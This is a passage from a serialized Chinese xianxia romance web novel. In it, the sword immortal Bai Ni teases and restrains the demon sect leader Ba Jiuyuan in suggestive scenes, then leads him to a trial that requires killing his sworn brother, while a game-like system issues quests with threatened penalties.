什么都不属于她,无论是那些听上去光鲜亮丽的头衔、风光的名声,连用了几十年的剑,也没有一刻是真正归她所有。 要说本来……霸九渊其实最讨厌的便是白霓用那种不以为意的表情,说自己什么都不在意,一切都没有任何所谓。 什么都不说、不去争取、不去反抗的窝囊样子。 但到了如今这一刻…… 他却不禁由衷地希望她是真的不在意。 因为如果她在意的话……那真的太苦了。 白霓不该受这种苦。 她付出了一切,给出了全部。 那么努力的人,得到的不该是这种结局。 所以当说出“跟我走吧”的时候,霸九渊是认真的。 他知道自己在说什么,也记得自己的身份。 即使那句“跟我回家”意味着要把白霓带回天魔宗,他也没有一刻的后悔。 因为…… 霸九渊:“圣墟不值得。” 霸九渊:“一心为公向善,一生明堂正道光明磊落的人不该被如此对待。” 霸九渊:“你值得去到更好的地方,遇见更好的人,得到应该得到的所有。” 然而他下定决心、真心诚意说出来的话,换来的却只是她如同隔了一层雾纱般的轻笑。 那仿佛在对他说: “你什么都不懂” “你什么都不知道” “所以为了帮助你理解……” 白霓:“三次。” 白霓:“不管当时身处何地,无论在做什么,只要你第三次对我说出这句话,我就会毫不犹豫地跟你走。” 白霓:“但前提是你必须完成由圣墟发布的试炼任务,被所有人承认是我白霓的亲传弟子。” 【叮咚!】 【您触发了“白霓的真心”系列临时任务!】 【由于此项任务具有“特殊性”,请宿主“自行决定”是否接受登场角色“圣墟门主”的试炼。】 【说明:若宿主决定接受、并完成由登场角色“圣墟门主”提出的试炼,可获得奖励“白霓的承诺”、称谓“白霓唯一的亲传弟子”。】 【说明:若宿主拒绝,无额外惩罚。】 霸九渊:“我会做到。” 白霓没有应声。 可那天晚上,她最后望向他如似月笼纱的那一眼,好像全部都在向他传达一个意思: “不可能的” “你绝对做不到的” …… 若非不是为了帮助霸九渊更好的理解,白霓本不会答应圣墟门主提出的交易。 圣墟门主:“既然你执意要收那人为徒,我们可以给他一个机会。” 圣墟门主:“若他拥有独自战胜火尊北麟的实力,那便能证实他的确有成为圣墟剑仙弟子的潜力和本事。” 圣墟门主:“只要火尊北麟一死,届时我便会承认,他是你唯一的亲传弟子。” 他一口一个“机会”“承认”,说得是宽厚大量正义凛然,白霓却只看到了他坚定想要从根本铲除会动摇“圣墟剑仙”因素的决心。 火尊北麟是天魔宗人。 倘若她的徒弟不是霸九渊,这所谓的机会,只是送他去死。 但即使霸九渊有完成试炼的实力,这也是一个绝对不可能被完成的任务。 只因那火尊北麟非但是天魔宗数一数二的猛将,同时更是他情同手足的兄弟。 霸九渊他做不到的。 也不可能会去做的。 白霓明知结果如此,却依然选择踏上了前往天魔宗的路,全部都是为了帮助他解开“一心为公向善,一生明堂正道光明磊落的人”这种荒谬的误会。 只要到了明天,待到他们踏入天魔宗的领地,他得知了试炼的内容,霸九渊便会对不是“圣墟剑仙”,而仅仅是“白霓”,开始建立完全的认知和了解。 以后不会再同情怜悯。 更不会有丝毫心痛。 他会对她失望至深,后悔莫及。 他们也会回归最初的关系。 见面便是仇人相遇,不共戴天。 因此今夜—— 是她最后的放纵了。 白霓一脚踢开了守护霸九渊的旅店木门,面对他愕然到有点反应不过来的表情,神色如常地说道: “你欠了我的东西,是不是该还了?” 霸九渊:“我欠你什么了????” 白霓:“那天晚上我们不是说好了吗?我回答你一个问题,你就让我摸一下。” 白霓:“我如约回答了你十五个问题。你为此欠我的十五下……” 白霓:“现在是想赖账不成?” 【叮咚!】 【您触发了“白霓的真心”系列临时任务!】 【请宿主兑现对攻略目标“白霓”的承诺,现在、立刻服从命令,脱光衣服、上床躺好!】 【若宿主拒绝任务,首次口头警告,次回电击惩罚,三次直接抹杀!!!】 130 第130章 ◎正派之首爱上反派宿敌的第二十一天◎ 他的脸完全红透了。 白霓本来以为霸九渊会臭骂系统一顿,却不想他好像已经晕头转向、自顾不暇了。 全幅心神牵挂在她的举手投足间,她不过只是往他的方向走出了一步,他脸上的绯红便“噌”的一下红到了脖子。 过炽的体温让霸九渊察觉到了自己的失态,他一边痛恨自己的反应大,另一边又不得不难为情。 于是装作是不经意间大掌捂住脖子的一侧,掩住红晕,他眼神飘忽,像在看她又像是没看她。 霸九渊:“你不是说了……那天晚上……只当是无事发生吗?” 白霓当然记得自己说过那样的话。 换做平日说不定就承认了,但今天…… 她只想往死里欺负他。 白霓:“我说过吗?” 霸九渊脸色一急:“!” 霸九渊:“你当然说——” 白霓:“那你就当我现在后悔了吧。” 霸九渊:“……………………” 他的那张脸顿时看上去既悔不当初又悲愤欲绝,像是不敢相信她竟然当面赖账,又确实对她的翻脸没有办法。 于是最终,他是硬从齿缝间挤出来一句:“……我真不该心痛你的。” 白霓不以为意地笑了下。 她看似一点都不生气,然而在一声“是啊”过后,却开始步步逼近。 白霓:“我早都告诉你说不该了。” 白霓:“谁让你自己擅作主张……还提出那种让人脸红心跳的交易呢?” 她迈向他的一个大跨步登时让霸九渊的背猛地靠上了墙。 他当即想另寻退路,可这时有手按在了他的胸膛上……分明没用上一点力道,却像是给他下了定身符一样,把他摁死在原地动弹不得。 白霓:“事已至此,一时冲动嘴快犯下的过错……” 白霓:“你就用身体偿还吧。” 白霓:“回答呢?” 垂眸看着那双明明云淡风轻却让人无所遁形的目光,霸九渊忽而感觉有点呼吸不上来了,不由涨得脸色通红。 可偏偏她的眼睛依然一眨不眨,澹然得让人根本没有战胜她的机会。 于是最终霸九渊败下阵来,他一手捂住了红透的脖子,另只手像是没眼看一般捂住了额头和眼睛。 霸九渊:“……知道了。” 霸九渊:“我会……照做的。” …… 霸九渊好像把他这辈子的心眼心机全部都用在了这种时候。 他虽然是应了,却假装忘记了“脱掉衣服”的任务要求,甚至可能因为是方才落在他胸膛上的那只手太让人不知所措,他一上榻后直接面朝下地趴着,那是不可能给白霓半点机会。 白霓没有惯他的道理。 开口便是一句:“把衣服脱了。” 于是那朝下的脸立刻愤愤地回头看她,下意识张嘴似是想和她理论,但最终他非但忍住了,还将其转化成了良机。 霸九渊:“脱可以……但是这得算三下。” 看着比她高大比她强壮的男人如同弱势一样,面红耳赤跟她讨价还价,白霓实在是觉得可爱又好笑。 于是恩了一声算是同意了。 许是她答应得太爽快,霸九渊一瞬皱眉的样子仿佛在懊悔方才没有狮子大开口。 可在如今的白霓面前,他没有出尔反尔的勇气,因此深深呼出一口气后,咬牙把上衣给脱了。 霸九渊:“……还剩十二下。” 他重新趴回去的动作快到简直有残影。 白霓不过是一晃神,眼前就又只剩下他的后脑勺和背。 但与方才不同,没了麻布衣衫掩盖住的背……倒是很有看头。 霸九渊的体格确实是好,肩宽腰细,倒三角的轮廓干净利落。 虽不比正宗体修的威武强壮,但比起爆炸式的肌肉,他这种穿衣只见粗壮形状,脱衣尽显肌肉线条,倒是更加让人欲罢不能。 尤其当现在,他紧张得浑身都在紧绷,以至于背肌更是紧扎隆起,伴随每一次的呼吸上下起伏,每一道被肌肉勾勒出的沟壑都充满了力量。 甚至好像……变得更加敏感了。 他明明背过身,却仿佛能察觉到她的视线,当她的视线开始移动,他背部的肌肉不自觉地也跟着像在吞吐一样收缩。 当目光从隆起的肩胛骨滑落到背阔肌,最后又落在了让人充满遐想的劲腰上时…… 霸九渊发出了崩溃的呐喊: “白霓你快点吧!别折磨我了!!!” 白霓努力忍笑。 她试图用一本正经的声线说话,却藏不住实在轻快的语调。 “那你求求我呢。” 霸九渊:“………………………………” “不求吗?” 霎时间他好像连想死的心都有了。 但为了从这种痛苦中解脱,霸九渊最后选择了妥协。 “……我求你了。” 他都这样说了,白霓当然要附和他了。 然而她明明如他所愿地开始行动,当她的膝盖真的抵到了榻上,霸九渊又肉眼可见地更加紧张起来。 更加紧张的后果是愈发敏感。 明明以前她拿圣剑捅他他都不吱一声,现在不过是不小心碰到他一下,后者便浑身猛地一颤,连声音也变得沙哑沉闷。 “……这算一下了。” 他如此斤斤计较,白霓也起了报复心思。 她故意不声不响。 当霸九渊实在忍不住想要回头看她的时候,趁他一时不备,放松了警惕,白霓的指尖轻轻点在了他的琵琶骨上。 他把脸重新伏下去的动作倒是很快,却快不过闷哼声从鼻腔传出来的速度。 白霓眼睁睁地看着他在刹那间红到了耳尖,还要硬撑强行解释: “……是你的手太冰了。” 是。 跟她的手比起来,他的皮肤确实过于炽热了。 像是火源一样充满了旺盛的能量和生命力,让人只想要靠他更近。 白霓的手一路向下。 仿佛并不是为了满足自己,而是为了折磨他,她的动作是那样轻,又那样慢,仅仅是指尖如蜻蜓点水般的一触而过,从琵琶骨到脊柱,到后锯肌,最后快要碰到腰线。 那若即若离带来的痕痒像是蚂蚁咬一样折磨着底下的人。 当实在痕痒难忍的时候,他禁不住…… 扭了下腰。 于是突然间空气好像静止了。 霸九渊:“你……没看到吧?” 白霓:“我看到了。” 霸九渊:“……………………” 霸九渊:“你就不能装一下没看到吗????” 白霓:“不能。” 非但不能,白霓甚至还想看更多。 于是应声过后,她盯着霸九渊的腰沉默地想了想,最后果断地掐住了他腰间的软肉。 霸九渊:“白霓!!!!!!!” 白霓还没有感受到究竟是个什么触感,只见他鲤鱼打挺一般跳了起来。 那个向来唯我独尊呼风唤雨不可一世的天魔宗主,在眼前的这一个当下,竟是一手捂腰,一手伸直,用臂长隔开他们的距离,不但大口喘气,一双眼底红得好像快哭了。 尽管吼了她,但他压根不敢凶她。 霸九渊:“算我拜托你……能不能……别这样了?” 可他真的不该这样的。 他越是示弱,那股想要把他往死里折腾的心情就愈是亢奋强烈。 白霓稳住了表情和声音。 无论看上去还是听起来,皆是轻描淡写若无其事。 “你不拿背对着我的话,我可以不这样对你。” “甚至可以不碰你。” 霸九渊:“能有这种好事?” 白霓:“噗……咳,恩,是我不会亲自碰你。” 白霓:“只要你能绝对服从我的指令,我可以同意让你的手成为我的手,而我不会再动你一分一毫。” 白霓:“反正也超不过十下了,你可以好好想想。” 霸九渊满面狐疑,他甚至还摸了自己一下。 当实在察觉不出任何奇怪的地方…… 他…… 上钩了。 130-140 131 第131章 ◎正派之首爱上反派宿敌的第二十二天◎ 霸九渊:“我同意了。” 霸九渊:“现在还剩九下。” 当瞧见霸九渊正经八百地说出这么两句话时,白霓禁不住地笑了。 她的确没有想到他是如此好蒙哄。 毕竟方才他可是连他自己都满腹狐疑,甚至还问出了“能有这种好事”,她还以为他真的会好好想想清楚,结果不稍片刻,他居然就一口同意了。 可说他马虎……这会当看到她笑起来的时候,又立刻一脸警惕,还问:“你笑什么?” 白霓:“你怎么会答应?” 霸九渊:“……我怎么就不能答应?” “你当然不能。” 白霓否定得理所当然。 见他一脸反应不过来的样子,显然是短时间内没办法自己开窍,白霓索性与他开诚布公。 她望向他的目光实在怜悯。 于是在这一刻,哪怕霸九渊不能完全解读,也依稀感受到了那种……“被我这样的人所喜欢,你真的很可怜”的同情。 白霓:“因为我不可能会大发慈悲放你一马的。” 白霓:“你真的太不了解我了。” 白霓:“所以才会不知道……我这个人,到底有多恶劣。” 她的手虚按在了他的手背上。 明明没有一点接触,可从她掌心通过空气传过来的温度,却让霸九渊的心悬了起来。 当不期然撞上视线的那一个瞬间,悬空的心脏变得完全不再属于自己。 白霓:“那我们开始吧?” 白霓:“接下来我会身体力行地告诉你……” 白霓:“为什么不能答应。” …… 霸九渊本来是真的觉得不会有任何问题。 哪怕退一万步来说,由他自己动手,绝对好过她来下手。 毕竟自己的身体他早就摸过千百万次了,那是一丁点的感觉都没有,因此不管怎么想,这都是一门百利而无一害的交易。 然而,当这一刻从手背传来痕痒的触感,与她对上视线后,心脏如同打了鸡血一样突然拼命用力地跳动,他顿时意识到: “片刻前的自己做出了今晚最错误的决定” 但现在才意识到实在太迟。 他已经没有退路了。 霸九渊:“你……靠得太近了。” 她好像不认为那有什么。 即便是如今共处同一张榻上,空间狭小得伸展不开手脚,随便动一下都可能会碰到对方,对她来说好像全部都不在意。 连他都已是又瑟缩又别开视线,她却始终那副神色淡淡、不以为意的样子。 白霓:“我又没有碰到你。” 白霓:“你屏气干什么?我又没有给你下迷药。” ……还真不如是迷药。 得益于修行的功法,霸九渊对迷药素来具有抗性,哪怕是能迷晕十头牛的药量都迷不晕他一点。 可他的抗性到了白霓这里……却完全不起作用。 当她冷不防靠了过来,那忽而涌入鼻腔里……像是岑寂冷松一样的气味,占据了他的全部心神,让他不能呼吸,不能思考。 整个人如同中了迷药一般晕晕沉沉。 甚至在她说出“现在你的手,就是我的手了”的瞬间…… 突然就觉得手……好像真的不是自己的了。 白霓:“闭眼。” 霸九渊:“……我不要。” 可他鼓起仅存理智说出来的拒绝,依旧被她拿捏得死死。 白霓:“闭眼睛算一下。” 霸九渊:“…………………………” 霸九渊只能不情不愿地闭眼。 而他的眼前刚坠入黑暗,耳边便传来了她的轻笑声。 也许是因为在笑,她总是平静到可以说是清冷的声线里,终于有了微微柔和之意,那就宛如透过水镜望向太阳时看到的光斑,温柔得恍然一切都是幻觉。 霸九渊很快意识到,那的确是他的错觉。 白霓:“把手放在你的胸口上。” 霸九渊:“什……” 白霓:“动作要轻要慢,如果让我觉得哪怕只有一丁点的粗鲁野蛮,我们的交易就作废,一切重头来过。” 似乎从他颤抖的眼皮察觉到他想要睁眼跟她理论,她又极快地补上一句—— 白霓:“当然,睁眼也是。” “……” 霸九渊不太清楚自己是带着什么样的心情,听从白霓的命令,执行接下来的所有动作了。 可能是觉得真的没有退路了,于是长痛不如短痛。 但无论是什么样的想法……好像都无所谓了。 因为在这一刻,他只听到了恍然在耳边狂跳的心脏,感受到了热得快要爆炸的脸。 而当他咬紧了牙关、屏住了呼吸,按照她所要求的那样,用足够轻、足够慢的动作,把双手放在自己的胸口的时候…… 一种奇怪的感觉袭卷了过来。 尤其当身处黑暗,眼前什么都看不到,因此不管是按在肌肤上的触感,还是她的声音,一时间全部清晰得让人崩溃。 但她应该想让他更加抓狂。 白霓:“你记得我那天是怎么帮你擦干水的吗?” 一想到那天,霸九渊的喉结不由上下滚动了一遭。 白霓:“我的手先是落在了你的头发上。” 白霓:“不管是擦拭你的头发、耳朵,还是后来落到你的肩膀、胸膛。虽然你一直很凶,但我的动作还是很温柔。” 白霓:“你记得吗?当时我不小心轻触你的耳垂,尽管你很快忍了下去,但我还是听到你舒服得哼了一声。” 白霓:“之后我抚摸你喉结的时候,你也像刚刚那样咽下了一口唾沫。至于再后来,我碰到了你的肩膀、你的胸膛……” 伴随她慢条斯理的叙述,那一日所有的细节清晰如上一秒刚发生过的事情。 无论是那时候的心情,还是肌肉的记忆,全部充斥了霸九渊的脑海。 而她一直慢悠悠的语速……好像就是在等他全部回忆起来的那一刻—— 白霓:“现在你要学着我的动作。” 白霓:“对你自己那么做。” 也许是他崩溃的神色让她心情愉悦,她最后脱口而出的那句话都带着股跃动的轻快。 白霓:“我会好好看着的。” 132 第132章 ◎正派之首爱上反派宿敌的第二十三天◎ 他居然真的那么做了。 白霓眼睁睁地看着霸九渊把自己的嘴唇咬出了血。 脸上那一会心如死灰,一会含羞忍耻的表情……像是把这辈子伤心的事情全部在脑子里过了一遍又一遍,这才终于勉强忘掉了此刻的尴尬羞耻,不再去在意自己的手。 可他又不能真的完全放空。 因为她的声音在一遍又一遍地提醒他…… 他现在、究竟在做着些什么。 白霓:“动作再轻一点。” 白霓:“你好好回忆一下,我不是那样对你的。” 白霓:“太粗鲁了只会觉得痛。” “所以一开始只是用指尖轻勾一下,之后才是若即若离反反复复的摩挲拨弄。” “你吃过那种要吐皮的葡萄吗?” “因为怕它被捏坏,所以指尖的力道很轻,但为了把果肉挤出来,之后会慢慢用力,用嘴唇轻啜吸吮后再用力一顶。” 他人看起来真的快要彻底崩溃了。 “拜托你别说得那么下流……” “……” 下流的到底是谁? 霸九渊似乎是真的很记得那天发生的事,无论当时她是怎么抚摸他……或者说是如何用巾帕擦干水珠,他全部进行了一比一的完美复刻。 此时柔软的耳珠被他揉捏得通红,脸就更不必说了。 仿佛被灌醉了一样,那并不自然的红晕之中透出几分迷醉、几分恍惚。 可说是醉了……他又好像很清楚自己正在做什么,否则也不会是那样拘谨尴尬,羞耻得只想找个地洞钻进去。 而当她陷入了沉默,他太久听不见她的声音,明明深知自己不该那么做,却还是忍不住闭眼把脸朝向她声音最后出现的方向,寻求她的回应。 “你怎么……不说话了?” “……” 白霓捂着嘴不知道该说什么。 事到如今才来说也许有点迟,但其实她没有想过要做到这一步。 按照她最初的设想,霸九渊若不是中途逃跑,则定是要跟她大打出手。 何曾想到他就像被不知道谁下了迷药一样,被迷得五迷三道,连一丁点的理智都不剩下,对她的句句皆有回响,以至于让她生出一种…… “越吃越饿” “怎么吃都吃不饱的感觉” “……” 白霓掌根扶额,深深地吐出了一口气。 霸九渊显然意识不到问题的严重性,听她叹息,竟然还关心了一句:“你怎么……” 白霓:“你想我碰你吗?” 空气又安静了。 白霓看着他好不容易平静了些的脸庞又在一瞬间爆红,可他并不是立刻拒绝,而是隔了一会,才回答—— 霸九渊:“我……不想。” 白霓:“是吗?” 她会让他想的。 白霓的视线从他的脸落到了他的胸膛。 许是因为她视线移动的速度太慢太慢,才会让霸九渊变得更加拘谨,连她的指令“用力拍打你的胸口”,也是说了三遍,她才终于听到了“啪”的一声脆响。 “……” 一下子就红了。 轮廓丰满的胸膛上留下了红红的掌印,但比起此刻霸九渊有些吃痛还有些说不上来是什么滋味的脸,白霓更忘不了的是胸肌被击打过后震颤了好一会才停下的光景。 毕竟以前她拿剑捅他的时候,从剑尖传来的触感就像岩石一样坚硬。 的确是从来没有想过……居然能这么有弹性。 白霓不禁沉默了一下。 然后问出了今夜对霸九渊来说,最恐怖的问题—— “徒儿,你揉过面团吗?” 即使没有,霸九渊定也知道是怎么一回事。 否则他不会在呆愣了一下后,整张脸上浮现出难以置信到有点类似于惊恐的神情。 “白霓你真的完全疯了……” 白霓很难否认。 因为连她都觉得自己是真的饿疯了。 但那能怎么办呢? 她已经停不下来了。 是啊。 尤其当霸九渊在长久的沉默后说出了一句“我不行了,你想要干嘛你自己来吧”…… 那就更加是不管发生什么,都不能让他们停下来了。 …… 白霓恍然一只手包圆了他的心脏。 因为跳得太用力,心跳声太响,当肌肤与肌肤相贴,那颗心脏仿佛就在她的手心。 霸九渊没有推开她。 那张脸沉默、隐忍。 他的手却是握住了她,甚至允许她坐在了他的大腿上。 白霓不由垂眸扫了一眼。 “我们一定要这么牵着手吗?” 他一下子看起来很是慌张,闭紧的眼皮控制不住地轻颤,但又很快镇定下来,不以为意的口吻中还夹杂了嗤笑。 霸九渊:“这算牵手?” 霸九渊:“哈……别胡说八道了。” “……” 白霓真不知道在胡说八道的人究竟是谁。 方才霸九渊的手寻过来的时候,他嘴上说是要限制她的行动,不给她胡来的机会。 然而当他的指尖触到了她的手腕之后,却是顺沿掌纹不断往上,寻到指缝间后扣紧,变成了现在的十指相扣。 他的掌心灼热得烫人,手又大,一用上力来夹得她的手指生疼。 可白霓如实相告后,得到的却是他一句恼羞成怒的:“什么又大又烫,用力还疼……你非要说这么下流的话吗?” “……” 下流? 既然他非要这么说的话…… 白霓几乎将他胸口包圆了的手用力抓了一下。 霸九渊:“哼嗯……” 若要形容起来……那胸脯的肌肉像是活着的饱满的果实,外层光滑温热,内里则是充满张力与弹性的果肉。 要是挤压时更用力一点,就形如在按压一块橡胶。 饱满的弧度下既是刚硬又是坚韧,最上层则是有弹性的柔软,稍稍一松开手,便是肉眼可见的肌肉回弹。 霸九渊:“白霓你……!” 他这次没有能把话给说完。 只因当察觉到再次从胸口传来的施压感,他立刻用握住她的那只手手背抵住嘴巴,把再次脱口而出的哼声给强压了回去。 那亡羊补牢多少有点晚了。 方才那声……她已经听到了。 白霓:“你非要哼得这么下流吗?” 被回以同样的字眼,霸九渊顿时难堪得想死。 他下意识咬紧了牙关,手也在不知不觉间使上了力,抠得她手背的软骨闷疼。 就连胸膛那隆起的肌肉也霎时变得滚烫又坚硬,几乎没有任何松弛的余地。 “……” 都被说是下流了。 她还放过他干什么呢? 于是只当作是看不见他一边隐忍一边又抓狂到想要发疯的神色,顾不上开始从他身上冒出来的汗珠,白霓的掌心渐停渐下。 她的动作很慢。 慢到令他崩溃的地步。 那柔软的指腹是在他心口上的旧疤停留了好一阵子,才终于逐步向下。 与胸膛的肌肉相比,腹部的肌块就谈不上任何弹性了,沿肌理纹路的所至之处具是干脆利落的硬朗,如同钢一般的强硬。 虽说触感比不上先前的*好,但许是她的抚弄得实在太轻太慢,他浑身开始止不住地轻颤,那张脸上隐忍又抓狂的神色冲撞得更加激烈。 像是生怕自己一时不慎睁开双眼要重头来过,他一手与她十指相扣,手背堵实了嘴,另一只手则死死捂住眼睛。 白霓:“很难受吗?” 他不说话。 白霓:“你不喜欢这样?” 他还是不出声。 见他如此,白霓也不再开口。 她冷不防收回了手,只见那个人松了一口气的神态是明显到不能更明显。 但下一秒,当白霓的手掐在了他的腰身上,他立刻再度死死屏住了呼吸。 长在腹肌两侧的肌肉像是腮裂一样,是一道道向内斜下去的肌理。 顺着其一路向下,可以碰到向两侧延伸出来的人鱼线。 白霓本以为霸九渊真的能忍住不开口的。 然而当指尖沿向内斜下去的肌纹逐息下走—— 他终于忍不住睁开了双眼。 迎着他隐忍、快要发狂,几乎把她的脸盯穿、好像恨不得要将她生吞活剥方能解恨的视线,白霓不慌不忙地问他: “怎么?” “接下来就不可以了吗?” 那当然是不可以的。 再继续下去便要触及他们彼此共同的底线。 她如此问他,也不过是想最后打趣一下他…… 霸九渊:“可以。” “……” 冷不防听到那声“可以”,白霓反应不过来是很正常的事。 然而她的怔愣落在他的眼中,便是要有始无终的征兆。 因此霸九渊是冷笑着又对她重复了一次:“别装没听到了。” “白霓。” “我刚刚说的就是可以。” 一息之后,他再次修正了措辞: “不是可不可以。” 那双直勾勾盯视她的眼睛尽是势在必得。 “是我现在,要继续下去了。” 133 第133章 ◎正派之首爱上反派宿敌的第二十四天◎ 白霓会逃跑是很正常的事。 毕竟霸九渊是真的疯了。 他非但在说完话之前手已是先行发了力,逼她往他的方向猛坠下去,之后又箍紧了她的腰身,以一种极其暧昧贴合的姿势将她禁锢在了怀里。 当一不小心鼻尖擦过了鼻尖,还后知后觉难为情地把脸埋在了她的肩窝。 甚至还说了些什么…… 霸九渊:“白霓,我好像完全能理解你了。” 霸九渊:“香香软软的……确实很难不去喜欢。” 霸九渊:“推开?这谁能推得开?” 顾不上去在意他说话时的温热气息,在她皮肤上留下的密密麻麻的痕痒。 当从他嘴里听到这种疯话,白霓忽然间就意识到他是彻彻底底地疯完疯透了。 无论她再说什么、再做什么皆是徒劳。 就像如今她用力想要甩开与她十指相扣的手,结果换来的却是被更紧地握住,甚至指尖充血,使不上力,连一丝反抗的余地都不被允许留下。 就像在这一刻,他望向她嘴唇的眼神炽烈,光明正大,丝毫不想隐瞒自己的想法。 他已经没有理智了。 所以…… 白霓用灵力化形,形成绳索,把他五花大绑吊了起来。 霸九渊:“白霓你……!” 忘了。 嘴巴也得给他封上。 直到霸九渊像是一个吊起的沙包被悬挂在房梁之下,白霓才终于如释重负般地松了一口气。 面对他怒瞪的双眼,“嗯嗯嗯嗯!”似乎要与她争论些什么的表情,白霓全当是无事发生。 将自说自话诠释得一分不差。 白霓:“徒儿你真是冲动了。” 白霓:“但无论如何……十五个问题换十五下的交易也算是顺利结束,如此我们便算两清。” 白霓:“今夜你辛苦了。” 最后再是看了一眼精力充沛怒火旺盛的霸九渊,白霓干脆利落地转身离去,最后两句话落下后还体贴地将门带上。 白霓:“夜深了。” 白霓:“早些休息吧。” 她自然是故意忘记要把霸九渊给放下来的。 因为她想他好好冷静一下。 倘若是反省个一夜……他怎么也该要想起自己的身份,她的身份,于是自然而然地明白那是错误。 是一时冲动。 是绝对不能继续下去的不可为之事。 白霓想得很好。 她甚至做好了准备在明天观赏他羞耻到想找个地缝钻进去的窘态。 然而当翌日来临,当花了一夜时间终于挣脱她灵力锁的霸九渊站在了她的面前,字字句句说的却是: “不是心血来潮,也并非意气用事。” “我没有冲动。” “白霓,我昨天晚上想做但没能做完的事情,不是冲动。” …… 次日霸九渊找过来的时候白霓正在练剑。 当时太阳才刚升起没过多久,光照并不是太强烈。 于是那稀薄浅淡的晨曦照在霸九渊的脸上时,让白霓生出了一种不真实的感觉……因为他看上去真的太冷静了。 冷静得让白霓觉得他不应该这么冷静。 其实他可以愤怒地扑上来要和她决一死战,也可以无地自容地连看她一眼都充满了挣扎。 唯独不应该冷静得好像他说的每一句话都是真的一样。 白霓放下了剑。 思来想去,她终究是找到了可以毁掉一切的一句话—— “你喜欢我吗?” 全世界好像突然安静了。 白霓眼睁睁地看着霸九渊的那张脸一瞬红透。 变得慌张、惊惶、不知所措。 “怎、怎么突然说这个……” 白霓却坚持将冷静贯彻到底。 “因为如果你不是喜欢我的话,就没有办法去解释你口中的‘不是心血来潮,也并非意气用事’、‘我没有冲动’。” 她顿了一下,淡淡地看了他一眼,很自然地将他的回避当成了否定: “既然你不喜欢我,我们就不可以做那些事。” 霸九渊被白霓的话说得脸色一阵青一阵白一阵红。 他反复纠结了很久,才终于问了一句: “那你对我做的……算是什么?” 白霓:“是交易。” “……” 霸九渊那张青红白一阵一阵的脸上瞬间只剩下了惨白。 白霓不在意他有多失望,又究竟是为什么会变成这样。 因为在此时此刻、今天之前发生的所有一切都不重要。 重要的是在今天结束之后,他会怎么想、他将怎么做。 因此只当是看不见他的面无血色,手足无措,她的声色依旧是那么的冷淡和平静。 白霓:“如果你昨天晚上没有听清楚的话,那我就再对你说一次。” 白霓:“十五个问题的交易已经结束。” 白霓:“我们已经两清了。” 她将圣剑收入剑鞘,一边提步往东方走去,一边开口说道: “不要耽误了,我们该启程前往天魔宗了。” 此刻的霸九渊尚不知道圣墟门主对他发布的试炼内容,于是冷不丁听到“天魔宗”的字眼,下意识脱口而出一句: “我们去天魔宗……做什么?” 白霓回头看了他一眼。 她回首时背照曦光,望上去恍如早春时分的薄雾,让霸九渊忽而梦回那夜她那如同在对他说“你什么都不懂、不知道”“所以为了帮助你理解……”时月笼纱般的那一眼。 因此就连那从她口中道出、又传到他耳畔的话语,都是那样恍恍惚惚、听不真切。 “去杀人。” ——她好像是这么说的。 134 第134章 ◎正派之首爱上反派宿敌的第二十五天◎ 其实白霓察觉到了。 在她说出“你喜欢我吗?”霸九渊的脸一瞬红透的时候。 在她指出那是交易,霸九渊黯然失神的时候。 他究竟为什么会在昨夜陪她做出那么多荒唐的事情,又或者是更早一点,他怎么能用那么冷静清醒的口吻对她说出“跟我回家吧”。 霸九渊表现得太明显了。 没有人会察觉不到的。 可白霓之所以将他拒之门外,只当做是看不到,没有表露出一分一毫的心动。 是因为她一直都很清楚。 从霸九渊口中说出来的所有的话…… 全部都不是对她白霓。 而是对圣墟剑仙说的。 …… 其实白霓也有想过要不要就这么一直假装下去。 毕竟如果她一直是圣墟剑仙,他们所有人都会高兴的。 圣墟会高兴,因为她依旧是他们想要的样子,不会质疑,也不会反抗,永远在他们的掌控之下。 世人会高兴,因为圣墟剑仙仍然是修真界的支柱,会继续为他们除恶扬善攘外安内。 霸九渊也会高兴,因为她白霓永远都会是他钦佩的模样,是最完美的样子,既不会觉得失望,也不会有任何破灭。 白霓都已经扮演了圣墟剑仙这么多年,况且终归到底,她就是圣墟剑仙本人,因此哪怕再演个几十年,也应是得心应手。 ——她本来是这样觉得的。 然而在今天,当霸九渊不去否认那一句喜欢。 甚至在她说了“要去杀人”后,仍是坚信她绝不可能动手。 白霓忽而意识到自己不可能能演得下去的。 因为从那一刻起,她从自己的情绪中感受到了“嫉妒”。 她嫉妒那个被无数人所拥护,包括她喜欢的人在内,被无条件信任的“圣墟剑仙”。 嫉妒她永远无法成为的那个自己。 在那一个瞬间,本来还若即若离的两个人格彻底分离了。 自此以后,她圣墟剑仙是她圣墟剑仙。 她白霓是她白霓。 她们不可能再成为一个整体。 所以为了阻止霸九渊把对圣墟剑仙的感情强加在她身上—— 白霓没有一丝保留地向他展现了自己。 【叮咚!】 【您触发了“白霓的真心”系列临时任务!】 【请宿主履行自己的承诺,完成登场角色“圣墟门主”的试炼,杀死登场角色“火尊北麟”。】 【若宿主拒绝任务,首次口头警告,次回电击惩罚,三次直接抹杀。】 …… 该说是圣墟门主塑造的“圣墟剑仙”的形象实在是太成功。 霸九渊对她白霓“大慈大悲”“好生恶杀”“绝不祸及无辜”的认知实在太根深蒂固。 别说刚一开始,即便是后来进入了天魔宗的地界,霸九渊也对她“不可能在天魔宗内杀人”的事情坚信不疑。 直到找到了火尊北麟的所在地,她向他发布了临时任务,他才终于有一点意识到…… “她是认真的” 可那点疑虑终究是不够多,不够深。 他明明都亲眼看到系统的任务了,却还是问她: “你……是认真的?” “你真的要让我去杀了火尊北麟?” 白霓静静地看着他。 那是一张充满了矛盾的脸。 因为难以置信,所以扬起了眉峰,他感情上没办法相信那是真的。 然而映照在他瞳孔的冰冷的荧光色蓝字,却无一不再提醒他血淋淋摆在眼前的,那残酷的现实。 霸九渊总是习惯了将她的沉默当成默认。 今天也不例外。 她的安静加剧了他的不安。 于是混沌的脸庞终于开始变得锐利分明,她能清楚地看到他脸上没有一块松弛的肌肉,每一个角落都绷得紧紧,目光凌厉,要将她彻底看穿。 霸九渊:“我问你是不是真的……!” 白霓:“是真的。” 当她终于开口,真的回答了,他又变得不知所措。 甚至还问出了令人无语又好笑的话。 霸九渊:“你为什么……要杀他?” 白霓笑了。 是因为真的很好笑。 因为既然他能问出这样的话,就说明每时每刻,她白霓在他霸九渊的眼中,真的仅仅是“圣墟剑仙”而已。 所幸,这样的事情到今天终于要结束了。 白霓:“我为什么要杀他?难不成你是真的忘了?” 白霓:“我们是为了完成圣墟门主的试炼才来到这里,只有你杀了火尊北麟,才会被圣墟承认是我白霓的亲传弟子。” 白霓:“所以他,必须要死。” 如果说刚才只是嫉妒,那么到了现在,开始有了一点恨的影子了。 